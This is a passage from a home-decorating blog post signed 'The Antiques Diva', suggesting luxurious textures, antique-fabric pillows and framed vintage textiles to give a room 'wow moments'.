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Another way to create a sense of wow is with texture. Adding in unexpected textures like leather walls or raw silk curtains can completely change the feel of your room. Luxe= wow so go for the fabrics and materials that scream “oh, la, la!” Think antique rugs, but perhaps you use them to upholster an ottoman. If you want to do this on a small scale, try adding throw pillows made from antique fabrics such as velvets and silks. You can make them yourself or find a seamstress to custom make luxurious pillows that will definitely add the drama to your house.

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And lastly, look at items with a fresh eye. Take something like a gorgeous textile or a vintage piece of clothing and have it framed in a super modern frame—then put it in a prominent place on the wall. By framing something other than a canvas, you can make it into your own art and instantly have a one-of-a-kind piece on the wall.

Regardless of how you choose to decorate your house, use interesting antiques to create wow moments and leave guests wondering how you thought to decorate your home this way! Decorating should be fun and coming home to a space that reflects you is the ideal way to end each day. Of course then once home serving up a signature drink isn’t a bad way to cap off a day…

Happy decorating,

The Antiques Diva®

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